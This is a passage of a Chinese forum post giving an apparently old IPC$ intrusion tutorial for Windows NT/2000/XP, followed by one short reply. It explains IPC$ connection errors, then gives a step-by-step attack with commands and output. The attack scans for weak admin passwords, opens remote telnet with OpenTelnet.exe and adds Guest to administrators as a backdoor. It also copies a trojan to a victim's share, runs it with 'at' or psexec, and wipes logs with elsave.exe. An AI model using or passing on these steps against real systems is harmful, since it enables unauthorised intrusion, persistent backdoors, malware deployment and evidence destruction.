   9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;


   2 如果想成功的建立一个ipc$连接,就需要对方开启ipc$共享,即使是空连接也是这样,如果对方关闭了ipc$共享,你将会建立失败;


   3 你未启动Lanmanworkstation服务,它提供网络链结和通讯,没有它你无法发起连接请求(显示名为:Workstation);


   4 对方未启动Lanmanserver服务,它提供了 RPC
   支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它远程主机将无法响应你的连接请求(显示名为:Server);


   5 对方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份;


   6 对方禁止了NBT(即未打开139端口);


   7 对方防火墙屏蔽了139和445端口;


   8 你的用户名或者密码错误(显然空会话排除这种错误);


   9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;


   10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。


   另外,你也可以根据返回的错误号分析原因:
   错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
   错误号51,Windows无法找到网络路径:网络有问题;
   错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
   错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
   错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
   错误号1326,未知的用户名或错误密码:原因很明显了;
   错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
   错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。


   八 复制文件失败的原因


   有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?
   1 盲目复制
   这类错误出现的最多,占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net
   view \\IP这个命令看一下对方的共享情况,不要认为ipc$连接建立成功了就一定有共享文件夹。

   2 默认共享判断错误
   这类错误也是大家经常犯的,主要有两个小方面:

   1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向admin$之类的默认共享复制文件,导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享并不是ipc$共享的必要条件;


   2)由于net view \\IP
   无法显示默认共享(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的*作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)


   3用户权限不够,包括四种情形:
   1)空连接向所有共享(默认共享和普通共享)复制时,大多情况下权限是不够的;
   2)向默认共享复制时,要具有管理员权限;
   3)向普通共享复制时,要具有相应权限(即对方事先设定的访问权限);
   4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

   还需要说明一点:不要认为administrator就一定是管理员,管理员名称是可以改的。


   4被防火墙杀死或在局域网
   也许你的复制*作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;还有可能你把木马复制到了局域网内的主机,导致连接失败。因此建议你复制时要小心,否则就前功尽弃了。



   呵呵,大家也知道,ipc$连接在实际*作过程中会出现千奇百怪的问题,上面我所总结的只是一些常见错误,没说到的,只能让大家自己去体会了。


   九 如何打开目标的IPC$共享以及其他共享


   目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等,然后在shell下执行net
   share ipc$来开放目标的ipc$,用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹,你可以用net share
   baby=c:\,这样就把它的c盘开为共享名为baby共享了。


   十 一些需要shell才能完成的命令


   看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:


   1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的*作需要在shell下完成;

   2 打开远程主机的ipc$共享,默认共享,普通共享的*作需要在shell下完成;

   3 运行/关闭远程主机的服务,需要在shell下完成;

   4 启动/杀掉远程主机的进程,也需要在shell下完成。


   十一 入侵中可能会用到的相关命令


   请注意命令适用于本地还是远程,如果适用于本地,你只能在获得远程主机的shell后,才能向远程主机执行。

   1 建立空连接:
   net use \\IP\ipc$ "" /user:""

   2 建立非空连接:
   net use \\IP\ipc$ "psw" /user:"account"

   3 查看远程主机的共享资源(但看不到默认共享)
   net view \\IP

   4 查看本地主机的共享资源(可以看到本地的默认共享)
   net share

   5 得到远程主机的用户名列表
   nbtstat -A IP

   6 得到本地主机的用户列表
   net user

   7 查看远程主机的当前时间
   net time \\IP

   8 显示本地主机当前服务
   net start

   9 启动/关闭本地服务
   net start 服务名 /y
   net stop 服务名 /y

   10 映射远程共享:
   net use z: \\IP\baby
   此命令将共享名为baby的共享资源映射到z盘

   11 删除共享映射
   net use c: /del 删除映射的c盘,其他盘类推
   net use * /del /y删除全部

   12 向远程主机复制文件
   copy \路径\srv.exe \\IP\共享目录名,如:
   copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内

   13 远程添加计划任务
   at \\ip 时间 程序名,如:
   at \\127.0.0.0 11:00 love.exe
   注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径


   14 开启远程主机的telnet
   这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:

   1)目标开启了ipc$共享
   2)你要拥有管理员密码和帐号
   3)目标开启RemoteRegistry服务,用户就该ntlm认证
   4)对WIN2K/XP有效,NT未经测试
   命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port
   试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90

   15 激活用户/加入管理员组
   1 net uesr account /active:yes
   2 net localgroup administrators account /add

   16 关闭远程主机的telnet
   同样需要一个小程序:ResumeTelnet.exe
   命令格式:ResumeTelnet.exe \\server account psw
   试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""

   17 删除一个已建立的ipc$连接
   net use \\IP\ipc$ /del


   (本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net


   十二 ipc$完整入侵步骤祥解

   其实入侵步骤随个人爱好有所不同,我就说一下常见的吧,呵呵,献丑了!

   1
   用扫描软件搜寻存在若口令的主机,比如流光,SSS,X-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,你可以进行下面的步骤了,假设你现在得到了administrator的密码为空



   2 此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),那我们就先走telnet这条路吧


   3上面开telnet的命令没忘吧,要用到opentelnet这个小程序
   c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90
   如果返回如下信息
   *******************************************************
   Remote Telnet Configure, by refdom
   Email: refdom@263.net
   OpenTelnet.exe

   UsagepenTelnet.exe \\server username password NTLMAuthor telnetport
   *******************************************************
   Connecting \\192.168.21.*...Successfully!

   NOTICE!!!!!!
   The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

   Starting telnet service...
   telnet service is started successfully! telnet service is running!

   BINGLE!!!Yeah!!
   Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
   Disconnecting server...Successfully!
   *说明你已经打开了一个端口90的telnet。


   4 现在我们telnet上去
   telnet 192.168.21.* 90
   如果成功,你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了,那么做点什么呢?把guest激活再加入管理组吧,就算留个后门了



   5 C:\>net user guest /active:yes
   *将Guest用户激活,也有可能人家的guest本来就试活的,你可以用net user guest看一下它的帐户启用的值是yes还是no


   6 C:\>net user guest 1234
   *将Guest的密码改为1234,或者改成你喜欢的密码


   7 C:\>net localgroup administrators guest /add
   *将Guest变为Administrator,这样,即使以后管理员更改了他的密码,我们也可以用guest登录了,不过也要提醒您,因为通过安全策略的设置,可以禁止guest等帐户的远程访问,呵呵,如果真是这样,那我们的后门也就白做了,愿上帝保佑Guest。



   8 好了,现在我们来走另一条路,给它传个木马玩玩


   9 首先,我们先建立起ipc$连接
   C:\>net use \\192.168.21.*\ipc$ "" /user:administrator


   10 既然要上传东西,就要先知道它开了什么共享
   C:\>net view \\192.168.21.*
   在 \\192.168.21.*的共享资源
   资源共享名 类型 用途 注释

   -----------------------------------------------------------
   C Disk
   D Disk
   命令成功完成。
   *好了,我们看到对方共享了C,D两个盘,我们下面就可以向任意一个盘复制文件了。再次声明,因为用net
   view命令无法看到默认共享,因此通过上面返回的结果,我们并不能判断对方是否开启了默认共享。


   11 C:\>copy love.exe \\192.168.21.*\c
   已复制 1 个文件
   *用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现


   12 运行木马前,我们先看看它现在的时间
   net time \\192.168.21.*
   \\192.168.21.*的当前时间是 2003/8/22 上午 11:00
   命令成功完成


   13 现在我们用at运行它吧,不过对方一定要开了Task Scheduler服务(允许程序在指定时间运行),否则就不行了
   C:\>at \\192.168.21.* 11:02 c:\love.exe
   新加了一项作业,其作业 ID = 1


   14
   剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了(没这么巧吧),无论哪种情况你只好放弃了



   嗯,好了,两种基本方法都讲了。如果你对上面的*作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec执行木马,用命令:psexec
   \\tergetIP -u user -p paswd
   cmd.exe直接获得shell等,这些都是可以得,随你的便。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe。
回复

使用道具 举报

发表于 2005-8-26 13:46:54 | 显示全部楼层
比较经典的漏洞了 ~
已经有图像版的利用工具了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|网上读书园地

GMT+8, 2024-12-23 13:31 , Processed in 0.191523 second(s), 6 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表